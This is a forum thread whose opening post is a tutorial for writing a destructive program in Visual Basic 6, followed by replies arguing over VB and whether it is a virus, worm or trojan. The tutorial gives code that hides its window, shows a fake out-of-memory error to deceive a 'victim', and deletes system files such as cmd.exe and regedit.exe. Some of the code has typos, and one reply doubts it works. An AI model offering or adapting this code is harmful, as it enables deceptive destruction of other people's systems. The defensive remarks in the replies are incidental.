Visual Basic 6 - Creating a Simple Virus

[treborguile]

Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.

First of all open a new Visual Basic project, a standard exe file..

Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.

Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it 'A'

Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub

Now once the command button is clicked on the project the command file will be deleted.
Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn't got enough memory to run, but in actual fact the victim doesn't know that you have just removed their command file.

Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
End Sub

Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that's how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.

Private Sub Form_Load()
Form1.Visible = False
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
Kill "C:/Windows/System32/cmd.exe" s
Kill "C:/Windows/regedit.exe"
End Sub
So above we will be removing the command file and the registry, I don't think the victim will be best pleased about that do you.
Now I have shown you the above information I think it's your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this.
Kill "C:/cmd.exe"

That's all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this tutorial

[marty]

OK, i don't know how to start this one
I got few questions about VB and virus programming thing... I never wanted to do this type of attacks, never find it interesting... maybe similar stuffs but viruses are not my thing (but analising them and the way they works are other story) SO:
about the VB... is using this language in some kind ow way the best for writing viruses? whenever is talked about it, VB is holding first place... why is that? does it have some advantages over C, C++, Delphi or any other? What VB can offer that other can not?

that's it for now, maybe i'll have more later...

[Dark Cyber]

thats good virus...

but how to defend this virus ???

because every virus need to defend...

thanks....

please teach me to be white hat hacker...

[PaRaDoX]

thats good virus...

but how to defend this virus ???

because every virus need to defend...

thanks....

please teach me to be white hat hacker...

Its easy to defend against it......

Most good anti virus programs will catch stupid shit like that happening, but its very rare that a legit program comes written in VB (dunno why, it just is). That usually tips me off to this kinda thing o-O

[alternateblackhat]

from what i understand the reason why most programs don't come in VB is because its a horrid language to write in.

that and i believe its Microsoft based so there would be a lot of issues with moving programs from something like xp to leopard or what ever mac calls there Os's these days. mark me if im wrong. but to summarize that; this could only attack pc not mac. thats why vb isnt used

[CodeX]

VB (VBA,<VB7,VBScript) is indeed a rancid excuse for a programming language, its slow and is rather lacking in commodities, however there are still (generally rather old) programs out there written in VB6 and below as well as people who still use VBScript for .ASP (you'll get better code faster if you saw off your right hand and then use PHP). People also still use VBA as they can usually do it wherever there is a Microsoft package, MaxMouse for example only codes in VBA even though it takes loads of time to write any useful code which then takes ages to run.

As for VB not being portable, I guess VBA can go wherever there is a Microsoft application (such as Word) so can probably be ran on Mac to some extent, but also modern VB (VB6< i.e. VB.NET) is multiplatform as it compiles to CIL (like JAVA bytecode) which can then be ran on the .NET or MONO framework, although MONO and .NET have some differences that make portability a little bit of an issue sometimes but then I don't think most people use .NET languages expecting portable code.

As much as I despise the old VB, the new VB.NET is actually useful and a descent tool to use for getting quick applications made (like an IRC bot or game solver) and I think is better than JAVA if your working on windows as it has a nice IDE (Visual Studio) and a comprehensive library and handy language features such as events.

As for the concept of the first post being a virus, it's not, the resulting application would only be classed as malware/trojan and even then I'd be surprised if the code provided even does whats intended (doesn't look right but then again thats a reason I don't use old VB). On the virus front, they generally aren't cross platform as they modify executables (such as PE format on Windows) so that they can hide inside an otherwise legitimate program, I doubt there are any viruses written with VB but then again you can technically use anything with binary file I/O to deploy a virus however impractical it may be

[Liidian]

As of what i understand:

First of this is a Worm not a virus, this file seem to be independent and therefore it's a worm.

[plope0726]

As of what i understand:

First of this is a Worm not a virus, this file seem to be independent and therefore it's a worm.

Not necessarily, a worm has the ability to self-replicate. If this can only be spread itself by attaching to another file it is a virus. But just because it can run on it's own, doesn't make it a worm.

[CodeX]

As for the concept of the first post being a virus, it's not, the resulting application would only be classed as malware/trojan and even then I'd be surprised if the code provided even does whats intended (doesn't look right but then again thats a reason I don't use old VB).

[Liidian]

As of what i understand:

First of this is a Worm not a virus, this file seem to be independent and therefore it's a worm.

Not necessarily, a worm has the ability to self-replicate. If this can only be spread itself by attaching to another file it is a virus. But just because it can run on it's own, doesn't make it a worm.

Well the big diffrence between a virus and a worm is that a virus is dependent of another file to infect while the worm runs for itself without another program to live on.

[CodeX]

The big difference is that worms are self-replicate, before you write anything you should research it to save people correcting you all the time, I don't know why you even bother really.

[doglitbug]

"sfc /scannow" should restore files if the "virus" creator deletes/corrupts something like explorer.exe and you can only open the task manager, its not fun when you need to learn this command...

[relixus]

hehehehe... it could be classified as a trojan...

As of what i understand:

First of this is a Worm not a virus, this file seem to be independent and therefore it's a worm.

Not necessarily, a worm has the ability to self-replicate. If this can only be spread itself by attaching to another file it is a virus. But just because it can run on it's own, doesn't make it a worm.

Well the big diffrence between a virus and a worm is that a virus is dependent of another file to infect while the worm runs for itself without another program to live on.